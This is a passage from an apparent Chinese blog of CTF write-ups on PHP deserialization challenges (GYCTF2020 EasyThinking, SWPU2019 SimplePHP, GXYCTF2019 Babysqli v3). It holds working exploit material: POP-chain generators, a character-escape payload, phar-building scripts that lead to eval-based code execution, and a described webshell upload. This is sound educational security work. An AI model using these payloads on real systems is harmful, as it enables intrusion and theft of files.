a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

过滤之后,

1
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

其中";s:8:"function";s:59:"a刚好是24个字符,这样就可以控制后面的序列化内容。

所以最终的payload为:

1
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

参考

官方writeup

AD攻防实验室——PHP反序列化字符逃逸

[GYCTF2020]EasyThinking

考点

  • POP链构造
  • PHP反序列化字符逃逸

解题

下载www.zip审计源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

?>

update.php页面提示需要登录才能获得flag。

主要代码都在lib.php中,先来看一下User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}

login函数中调用dbCtrl类中的login函数执行SQL语句,update函数中有一个反序列化的地方,参数是getNewInfo函数的返回值。

getNewInfo函数中agenickname参数是可控的,传给了Info

1
2
3
4
5
6
7
8
9
10
11
12
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}

然后还要经过一次safe函数

1
2
3
4
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

替换之后改变了数据的结构,类似0CTF2016 piapiapia这道题,很可能会引发字符逃逸的漏洞。

接着看dbCtrl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

我们可以知道的信息:

  1. 用户名存在,且$this->password的md5的值与数据库查询用户密码相同。
  2. 或者token的值为admin

这里有点像2019GXYCTF中的babySqli,是不是我们控制了sql语句,使用

  • select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?
  • $this->password=1(1的md5的值为c4ca4238a0b923820dcc509a6f75849b)

就可以通过登录密码的验证。

接下来构造POP链,先来找一下__destruct魔法方法,在UpdateHelper类中

1
2
3
4
5
6
7
8
9
10
11
12
13
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}

发现会把sql给echo出来,如果$sql=new User()的话,就会触发User内的__toString()魔术方法,该魔术方法内调用了$nickname属性的update()方法。虽然dbCtrl对象拥有update()方法,但是$nickname实例化成对象没意义。接着看Info

1
2
3
4
5
6
7
8
9
10
11
12
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}

这时我们看到了Info类内有__call()魔术方法,如果调用了一个不存在的属性,__call()方法就会触发,正好Info类没有update()方法,那么如果User内的$nickname实例化为Info对象,调用不存在update()就会触发这个__call(),这个__call()魔术方法将Ctrlcase的login()函数结果输出出来。

这样我们只需要$CtrlCase变量实例化为dbCtrl类的对象,这句话相当于相当于dbCtrl::login($sql),而且可知dbCtrl::login($sql)中的$sql参数,实际上是User类中的$age变量传入的,参数就是我们控制的了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class User
{
public $age = null;
public $nickname = null;
public function __construct()
{
$this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$this->nickname = new Info();
}
}
class Info
{
public $CtrlCase;
public function __construct()
{
$this->CtrlCase = new dbCtrl();
}
}
class UpdateHelper
{
public $sql;
public function __construct()
{
$this->sql = new User();
}
}
class dbCtrl
{
public $name = "admin";
public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);

序列化的结果

1
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

构造好了POP链,接下来就是要找到触发反序列化的点。

从update.php 可以跟进User类的update()函数:

1
2
3
4
5
6
7
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}

继续跟进getNewInfo()函数

1
2
3
4
5
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}

这个函数的返回值是一个先序列化在经过safe()函数处理的Info类对象。

所以最终能够反序列化的不是我们直接传入的字符串,而是用我们的值实例化一个Info类的对象,然后对这个对象进行实例化,再对这个序列化结果进行safe()处理,最后得到的值再进行反序列化。

所以想要发序列化我们的payload,就得控制 Info类对象的序列化串,看一下这个序列化串的格式

(假设age=20;nickname=lethe):

1
O:4:"Info":3:{s:3:"age";s:2:"20";s:8:"nickname";s:5:"lethe";s:8:"CtrlCase";N;}

这里的原理有点类似注入,都是闭合,先看一下我们构造的payload如下,未逃逸字符串前:

1
";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

可以看到我们在已序列化串前面加上了";s:8:"CtrlCase";,在最后加上了一个}(整个长度为263),这样我们将其作为new Info($age,$nickname)的nickname传入时,序列化的结果如下:

1
O:4:"Info":3:{s:3:"age";s:2:"20";s:8:"nickname";s:263:"";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";N;}

但是长度为263的payload还是当作了一个普通字符串,而不是序列化里的内容。

这时候就需要用到字符逃逸的原理了,我们在payload的前面加上263个union,在经过safe函数之后,union全部被替换成hacker,也就是相当于新增了263个字符,这样就导致跟在后面的长度为263个字符的payload成功逃逸。

而之所前面构造的时候在最后面加一个},是因为Info类的对象只有3个变量,}前面已经有3个变量满足了序列化串的要求了,所以加一个}来闭合整个序列化串。

最终payload如下:

1
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

在update.php内post提交age=123&nickname=后面接上输出结果,就会得到admin密码的md5。

SWPU2019 SimplePHP

考点

  • 文件包含
  • Phar反序列化

解题

查看文件页面有文件包含,可以读取源码:

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

class.php中有一个很明显的POP链,此外,由于没有unserialize函数触发反序列化,那么就只能上传一个phar来触发反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}

class Test
{
public $file;
public $params;
}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$c1e4r->str = $show;
$show->str['str'] = $test;
$test->params['source'] = '/var/www/html/f1ag.php';

$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

生成exp.phar后改后缀为gif,然后查看上传的文件名

最后使用phar协议读取该文件。

解码得到flag。

GXYCTF2019 Babysqli v3

考点

  • 弱口令
  • PHP反序列化

解题

弱口令爆破。。。。。得到admin/password。

PHP伪协议读取源码php://filter/read=convert.base64-encode/resource=home.php

home.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
if(isset($_GET['file'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("hacker!");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "当前引用的是 ".$file;
require $file;
}

}
else{
die("no permission!");
}
}
?>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;


function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}

function upload($file){
global $sandbox;
global $ext;

if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}

function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}

function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}

if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}

?>

预期解

Phar反序列化

先任意上传一个文件获得token的值

生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Uploader{
public $Filename;
public $cmd;
public $token;
}

$upload = new Uploader();
$upload->cmd = "highlight_file('/var/www/html/flag.php');";
$upload->Filename = 'test';
$upload->token = 'GXY063c630ae7ab41c6fd121cb4851620a3';

$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($upload);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();

然后将生成的phar上传

得到路径/var/www/html/uploads/cdc81ac06b78e980da728ecd95e747a8/GXY063c630ae7ab41c6fd121cb4851620a3.txt

然后将这个路径带上phar://作为name参数的值,再随意上传一个文件,因为$this->Filename被我们手工指定为phar,触发了phar反序列化导致命令执行。

非预期解1

关键的地方在于正则写的有问题

1
2
3
4
5
6
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

实际上匹配的是 .(空格点)。``upload()内,只要文件小于1024,就将上传文件到$this->Filename`

那我们只要使$this->Filename/var/www/html/uploads/shell.php,然后上传一个txt的一句话即可getshell

非预期解2

由于这行代码

1
echo file_get_contents($uploader);

上传后会显示出$uploader这个文件的内容,所以只要使$this->Filenameflag.php 然后随便传个东西就会得到flag了。

MRCTF2020 Ezpop_Revenge

TODO

Copyright © ca01h 2019-2020 | 本站总访问量